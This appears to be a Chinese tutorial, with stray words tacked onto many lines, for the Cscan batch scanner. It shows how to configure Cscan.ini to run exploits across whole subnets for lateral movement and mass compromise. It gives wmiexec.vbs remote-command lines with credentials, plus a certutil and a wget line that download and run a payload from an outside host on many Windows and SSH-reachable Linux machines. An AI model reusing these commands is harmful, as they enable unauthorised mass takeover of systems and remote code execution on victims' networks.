0x000 調用原理html
Cscan調用外部程序有兩種方式,一是編寫DLL,二是配置文件python
編寫DLL文件對於不懂編程的人來講可能會很難(雖然支持各語言)git
因爲考慮到不少人不會編程或會編程又急用沒法短期轉成DLLgithub
因此特地提供ini作爲調用外部程序接口,畢竟每出個EXP就寫個批量工具不現實shell
EXP代碼未必是你擅長並喜歡的代碼,甚至不提供源碼,不要緊Cscan照樣調用編程
配置Cscan.ini應該算是目前最容易實現Cscan自定義"插件"功能了windows
配置文件使用很是簡單,只需配置兩個參數,一是程序,二是參數多線程
批量文件: ip.txt ip24.txt ip16.txt ip8.txt 還有 url.txtssh
0x001 參數說明工具
主程序
主程序可直接運行,直接運行會加載IP或URL文件,不存在則默認掃描當前機器所處的多個C段。
cscan (直接運行)
cscan 192.168.1.108 (單個IP) cscan 192.168.1.108/24 (C段) cscan 192.168.1.108/16 (B段) cscan 192.168.1.108/8 (A段)
Cscan.ini文件
exe即程序名(系統程序可省路徑,非系統程序需完整路徑)
arg即參數,比方說執行net user命令,程序是net.exe參數是user
在win系統裏本質上執行的是c:/windows/system32/net.exe user
VBS腳本:執行"cscript exp.vbs",本質上執行的是c:/windows/system32/cscript.exe exp.vbs
PY腳本: 執行"python exp.py",本質上執行的是PY安裝路徑/python.exe exp.py
以上不須要全路徑的緣由是設置了環境變量,系統自動識別了
那麼Cscan要調用外部程序,就得先設置Cscan的「環境變量」
比如你點外賣,你不填寫地址,讓騎手去哪給你送貨?
給程序一個眼神它是不會本身去體會的,連人都作不到。
下面以調用內網橫向滲透腳本Wmiexec.vbs爲例(腳本和cscan主程序放在同一目錄)
wmiexec.vbs內網遠程CMD例子: cscript wmiexec.vbs /cmd IP 用戶名 密碼 whoami
IP或URL文件
ip數字.txt對應着所掃列表,意味着不只僅是批量IP列表,同時可掃描多個C段跨網段或B段等
ip.txt文件可填寫任意內容不只限於IP,url.txt僅限URL地址,批量掃描網站列表時使用。
0x002 配置Cscan.ini
新建Cscan.ini文件,內容以下
[Cscan] exe=cscript.exe arg=wmiexec.vbs /cmd $ip$ user pass "echo FuckOK"
ps:調用其它VBS腳本同理(有些機器默認無Whoami命令,因此執行echo返回特定內容最佳)
0x003 設置掃描範圍
新建C段文件ip24.txt,內容以下(掃描如下兩個C段機器)
192.168.1.8 10.1.10.5
0x004 批量驗證或執行命令
運行Cscan > pwd.txt (Cscan主程序要選用系統對應.net版本)
如圖(因爲批量執行的是whoami,因此成功的將會返回whoami的結果)
0x005 Windows批量上控
有人確定要說,我不想給全部機器上控怎麼辦?
特定機器列表使用ip.txt,B段ip16.txt、A段ip8.txt
新建ip.txt,同時刪除ip24.txt或更名(調用優先級問題)
ip.txt內容以下(僅掃描如下4個IP)
192.168.1.8 192.168.1.100 10.1.11.5 172.3.4.6
Cscan.ini內容
[Cscan] exe=cscript.exe arg=wmiexec.vbs /cmd $ip$ user pass "certutil.exe -urlcache -split -f http://k8gege.github.io/poc.exe&&poc.exe"
Certutil僅是其中一種下載方法,幾年前就有人整理至少17種方法,就不列舉了
(其它下載者命令百度、Google,關鍵字比也之前多什麼下載執行Payload等)
如今也有不少人把人家一篇精華文章換個名詞寫成十幾篇教程給萌新看
好像很吊的樣子,可是在大量教程文章的狀況下依舊有人不懂觸類旁通
按理說我寫Cscan批量調用其它EXP例子時,就有人懂得如何批量上控
但事實並不是如此,甚至有些人已接觸一段時間,搞得像萌新同樣還不懂
因爲在統計裏發現有人搜索"Cscan如何使用",加上怕有人問浪費時間
爲了照顧萌新以及一些不一樣觸類旁通的「老人」,特地寫此文章教程
0x006 Linux批量上控
經過調用sshcmd.exe可實現批量驗證SSH密碼或者批量上控
ip.txt內容 格式: IP 端口 用戶 賬密
192.168.1.8 22 root k8123456 192.168.1.100 444 root admin123 10.1.11.5 22 root p@walod 172.3.4.6 22 root test
PS:ip.txt不只限於IP,可靈活配置,這點我不寫教程真的沒幾我的知道,由於早期版本我加了正則非IP是沒法傳參的
Windows批量同理,這樣就能夠批量驗證不懂端口不一樣賬密了,詳見:http://www.javashuo.com/article/p-xmkcomvz-gx.html
Cscan.ini內容
[Cscan] exe=sshcmd.exe arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 執行多條命令
執行多條CMD命令,前提是調用cmd.exe,遠控shell默認指向cmd.exe,
因此當執行任意CMD命令都支持管道符號重定向符號等特殊符號。
例子:經過CMD調用PING命令以及Find命令檢測存活主機
對應Cscan.in
[Cscan] exe=cmd.exe arg=/c ping -n 1 $ip | find "ms"
exe參數寫成ping.exe的話,後面的|符號將失效,由於你是基於ping.exe上執行管道命令,ping命令不支持因此固然會報錯。
並不是是Cscan不支持管道符號,exe寫成cmd.exe就和你在系統打開cmd執行命令如出一轍,系統執行正常Cscan就正常。
有些人可能會問默認寫成cmd不就只須要配置一個參數,更簡便?
能夠設想一下,假設寫死cmd,每次執行一次ping命令或多條命令,就得打開一個CMD進程
不少人可能會說人家遠控終Shell都這麼寫,可是你有想過遠控cmd和直接系統上執行CMD差很少
你手工執行幾個ping命令,先調用cmd再打開ping沒問題,可是批量呢,調用一次ping命令,
還要先通過一次cmd.exe,你以爲這樣效率會高嗎,可能有人會說不就0.幾秒不到。
實際上你有沒想過,系統打開幾十個CMD進程和幾十個PING進程還有幾十個FIND進程
多幾個進程內存佔用是多少?佔用卡了就會阻塞,崩或者沒法繼續,可能超時好久纔到下一個命令。
最簡單的例子,使用BAT文件用FOR命令來執行幾百個操做,你可能遇到過cmd卡死
CPU直接100%的狀況,致使被調用的EXP沒法正常工做,由於Bat不支持多線程。
同時執行幾個幾乎不影響,不等於執行一堆不受影響,雖然Cscan.ini也是多線程調用,
但畢竟是調用進程,調用進程受到不少因素影響,最直接的就是系統內存,被調用程序
未對程序進行優化處理或其它緣由,可能會致使批量調用後出現相似CPU卡死的狀況。
調用進程的多線程方式是最LOW的,可能會致使各類各樣的問題,因此建義寫成DLL。
0x008 保存結果
1.能夠在調用命令裏重定向輸出,注意目錄須要有寫權限,別寫入system32目錄哦
arg=/c ping -n 1 $ip$ | find "ms" >> C:\Users\k8gege\Desktop\Cscan\1.txt
2.能夠直接Cscan > scan.txt 保存結果,固然這樣掃的時候cmd裏看不到結果
實戰的時候推薦第2條,由於你要是掃大量IP時,菜刀或者遠控shell超時不必定有結果
重定向輸出等其掃完,下載回本地看便可。
0x009 下載
https://github.com/k8gege/K8CScan